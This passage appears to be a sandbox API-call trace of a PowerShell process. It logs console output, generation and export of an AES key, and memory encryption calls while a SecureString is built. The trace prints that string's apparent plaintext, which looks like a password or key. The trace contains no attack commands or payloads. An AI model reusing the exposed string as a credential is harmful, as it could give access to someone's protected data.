lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0199.542] GetConsoleOutputCP () returned 0x1b5 [0199.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.542] GetConsoleOutputCP () returned 0x1b5 [0199.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.542] GetConsoleOutputCP () returned 0x1b5 [0199.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0199.542] GetConsoleOutputCP () returned 0x1b5 [0199.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0199.543] GetConsoleOutputCP () returned 0x1b5 [0199.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.543] GetConsoleOutputCP () returned 0x1b5 [0199.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.543] GetConsoleOutputCP () returned 0x1b5 [0199.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0199.543] GetConsoleOutputCP () returned 0x1b5 [0199.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0199.543] GetConsoleOutputCP () returned 0x1b5 [0199.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.544] GetConsoleOutputCP () returned 0x1b5 [0199.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0199.544] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0199.545] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0199.545] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2385be4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2385be4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0199.546] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0199.546] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0199.547] EtwEventActivityIdControl () returned 0x0 [0199.547] EtwEventActivityIdControl () returned 0x0 [0199.548] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.548] EtwEventActivityIdControl () returned 0x0 [0199.548] EtwEventActivityIdControl () returned 0x0 [0199.548] EtwEventActivityIdControl () returned 0x0 [0199.550] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.552] EtwEventActivityIdControl () returned 0x0 [0199.552] EtwEventActivityIdControl () returned 0x0 [0199.552] EtwEventActivityIdControl () returned 0x0 [0199.554] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cdd0) returned 1 [0199.557] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69140) returned 1 [0199.557] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0199.557] CryptExportKey (in: hKey=0x5c69140, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0199.557] CryptExportKey (in: hKey=0x5c69140, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x238db2c, pdwDataLen=0x5a2e79c | out: pbData=0x238db2c*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0199.558] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.558] EtwEventActivityIdControl () returned 0x0 [0199.558] EtwEventActivityIdControl () returned 0x0 [0199.558] EtwEventActivityIdControl () returned 0x0 [0199.559] SysStringLen (param_1="") returned 0x8 [0199.559] SysStringLen (param_1="0") returned 0x8 [0199.559] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.560] SysStringLen (param_1="±喆驰ꗁۂ࠳跀赕") returned 0x8 [0199.560] SysStringLen (param_1="±喆驰ꗁۂ࠳跀赕") returned 0x8 [0199.560] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.560] SysStringLen (param_1="0C") returned 0x8 [0199.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.560] SysStringLen (param_1="넢蚚㭬⫣ꃋꈎ寬") returned 0x8 [0199.560] SysStringLen (param_1="넢蚚㭬⫣ꃋꈎ寬") returned 0x8 [0199.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.561] SysStringLen (param_1="0Ce") returned 0x8 [0199.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.561] SysStringLen (param_1="跒ﴲ钖峆뾈쳶꼖\⋝) returned 0x8 [0199.561] SysStringLen (param_1="跒ﴲ钖峆뾈쳶꼖\⋝) returned 0x8 [0199.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.561] SysStringLen (param_1="0CeX") returned 0x8 [0199.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.561] SysStringLen (param_1="ꥅ䀊ﵝ淬졶隮쐗") returned 0x8 [0199.561] SysStringLen (param_1="ꥅ䀊ﵝ淬졶隮쐗") returned 0x8 [0199.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.561] SysStringLen (param_1="0CeX7") returned 0x8 [0199.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.562] SysStringLen (param_1="ﺩ櫋\统쉊줦✋⋪) returned 0x8 [0199.562] SysStringLen (param_1="ﺩ櫋\统쉊줦✋⋪) returned 0x8 [0199.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.562] SysStringLen (param_1="0CeX7/") returned 0x8 [0199.562] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.562] SysStringLen (param_1="崔蜽䊧Ⲗ瓥ั") returned 0x8 [0199.562] SysStringLen (param_1="崔蜽䊧Ⲗ瓥ั") returned 0x8 [0199.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.562] SysStringLen (param_1="0CeX7/R") returned 0x8 [0199.562] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.562] SysStringLen (param_1="䀯膺敾嫭嶙_벂ꇇ") returned 0x8 [0199.562] SysStringLen (param_1="䀯膺敾嫭嶙_벂ꇇ") returned 0x8 [0199.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.563] SysStringLen (param_1="0CeX7/Rv") returned 0x8 [0199.563] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.563] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟") returned 0x8 [0199.563] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟") returned 0x8 [0199.563] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟") returned 0x8 [0199.563] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟") returned 0x10 [0199.563] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.563] SysStringLen (param_1="0CeX7/Rvl൘읚棳ﶈ쌹\⊬) returned 0x10 [0199.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.564] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟鲇툢畢鞕뚱ﷲ䊚蛥") returned 0x10 [0199.564] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟鲇툢畢鞕뚱ﷲ䊚蛥") returned 0x10 [0199.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.564] SysStringLen (param_1="0CeX7/RvlW읚棳ﶈ쌹\⊬) returned 0x10 [0199.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.564] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟콭單\蟙調ᙵ≻) returned 0x10 [0199.564] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟콭單\蟙調ᙵ≻) returned 0x10 [0199.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.564] SysStringLen (param_1="0CeX7/RvlWd棳ﶈ쌹\⊬) returned 0x10 [0199.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.564] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟〼ົ５宐䞯쳟") returned 0x10 [0199.564] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟〼ົ５宐䞯쳟") returned 0x10 [0199.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.565] SysStringLen (param_1="0CeX7/RvlWdTﶈ쌹\⊬) returned 0x10 [0199.565] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.565] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟末샂ꐕ᥿ᵅᥳ") returned 0x10 [0199.565] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟末샂ꐕ᥿ᵅᥳ") returned 0x10 [0199.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.565] SysStringLen (param_1="0CeX7/RvlWdTs쌹\⊬) returned 0x10 [0199.565] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.565] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟䖍胙煻홹딐켇껅輡") returned 0x10 [0199.565] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟䖍胙煻홹딐켇껅輡") returned 0x10 [0199.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.565] SysStringLen (param_1="0CeX7/RvlWdTsB\⊬) returned 0x10 [0199.565] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.566] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟\⯘㵴싦ら⋉ﯲ≻) returned 0x10 [0199.566] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟\⯘㵴싦ら⋉ﯲ≻) returned 0x10 [0199.566] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.566] SysStringLen (param_1="0CeX7/RvlWdTsB7곤") returned 0x10 [0199.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.566] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟➶讜ᦥ묂蔖쩴⁁∡") returned 0x10 [0199.566] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟➶讜ᦥ묂蔖쩴⁁∡") returned 0x10 [0199.566] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.566] SysStringLen (param_1="0CeX7/RvlWdTsB7c") returned 0x10 [0199.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.863] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽") returned 0x10 [0199.864] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽") returned 0x10 [0199.864] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽") returned 0x10 [0199.864] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽") returned 0x18 [0199.864] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.864] SysStringLen (param_1="0CeX7/RvlWdTsB7c4넺ឺⷵ㋰濖厭閭") returned 0x18 [0199.864] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.864] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽Ồ砦Ⓗ坃཮\釙≜) returned 0x18 [0199.864] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽Ồ砦Ⓗ坃཮\釙≜) returned 0x18 [0199.864] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.865] SysStringLen (param_1="0CeX7/RvlWdTsB7c46ឺⷵ㋰濖厭閭") returned 0x18 [0199.865] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.865] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽鎹書␆寸\闞ꆟ─∼) returned 0x18 [0199.865] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽鎹書␆寸\闞ꆟ─∼) returned 0x18 [0199.865] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.865] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iⷵ㋰濖厭閭") returned 0x18 [0199.865] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.865] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽垙ோ䮣礆䣹寬潌፪") returned 0x18 [0199.865] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽垙ோ䮣礆䣹寬潌፪") returned 0x18 [0199.865] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.865] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJ㋰濖厭閭") returned 0x18 [0199.866] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.866] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽넜\ﳃᰭ뇵뿜敉∄) returned 0x18 [0199.866] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽넜\ﳃᰭ뇵뿜敉∄) returned 0x18 [0199.866] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.866] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJq濖厭閭") returned 0x18 [0199.866] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.866] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽羝韹贚陥\ᛝ涹ኰ⊬) returned 0x18 [0199.866] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽羝韹贚陥\ᛝ涹ኰ⊬) returned 0x18 [0199.866] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.866] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqf厭閭") returned 0x18 [0199.866] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.867] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽륁\烚邦ᄱ懓뇹乖⋳) returned 0x18 [0199.867] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽륁\烚邦ᄱ懓뇹乖⋳) returned 0x18 [0199.867] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.867] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfo閭") returned 0x18 [0199.867] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.867] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽믵࿐섣\諘빙⸧코⊿) returned 0x18 [0199.867] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽믵࿐섣\諘빙⸧코⊿) returned 0x18 [0199.867] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.867] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfof") returned 0x18 [0199.867] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.867] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用") returned 0x18 [0199.868] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用") returned 0x18 [0199.868] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用") returned 0x18 [0199.868] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用") returned 0x20 [0199.868] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.868] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoft荚쎯竄멸賅랚렓") returned 0x20 [0199.868] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.868] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ԩ冱呗赘묦곥瘔") returned 0x20 [0199.868] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ԩ冱呗赘묦곥瘔") returned 0x20 [0199.868] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.869] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftW쎯竄멸賅랚렓") returned 0x20 [0199.869] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.869] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用謊ﺬ⬠ﵙ꽯깆ꯖ") returned 0x20 [0199.869] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用謊ﺬ⬠ﵙ꽯깆ꯖ") returned 0x20 [0199.869] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.869] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWI竄멸賅랚렓") returned 0x20 [0199.869] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.869] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用뉅砘皾ꄘ峰풊㪀") returned 0x20 [0199.869] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用뉅砘皾ꄘ峰풊㪀") returned 0x20 [0199.869] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.869] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIk멸賅랚렓") returned 0x20 [0199.870] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.870] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用퐡䶯䐀쌬㺠ᦋ訿톶") returned 0x20 [0199.870] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用퐡䶯䐀쌬㺠ᦋ訿톶") returned 0x20 [0199.870] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.870] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkD賅랚렓") returned 0x20 [0199.870] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.870] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用廌ᬍ쏲榙ꄛ쵴") returned 0x20 [0199.870] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用廌ᬍ쏲榙ꄛ쵴") returned 0x20 [0199.870] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.870] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDX랚렓") returned 0x20 [0199.870] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.871] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用騕饡檽鬝ヴ夯뢁༱") returned 0x20 [0199.871] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用騕饡檽鬝ヴ夯뢁༱") returned 0x20 [0199.871] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.871] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXf렓") returned 0x20 [0199.871] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.871] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用疎ꎨ͚㛐쟓짣䵨") returned 0x20 [0199.871] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用疎ꎨ͚㛐쟓짣䵨") returned 0x20 [0199.871] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.871] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfr") returned 0x20 [0199.871] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.872] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ") returned 0x20 [0199.872] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ") returned 0x20 [0199.872] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ") returned 0x20 [0199.872] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ") returned 0x28 [0199.872] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.872] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTᕮ레믰鰩좆캄濆") returned 0x28 [0199.873] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.873] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ࣍⫉鷶蔳콥껿肬") returned 0x28 [0199.873] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ࣍⫉鷶蔳콥껿肬") returned 0x28 [0199.873] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.873] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTz레믰鰩좆캄濆") returned 0x28 [0199.873] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.873] SysStringLen 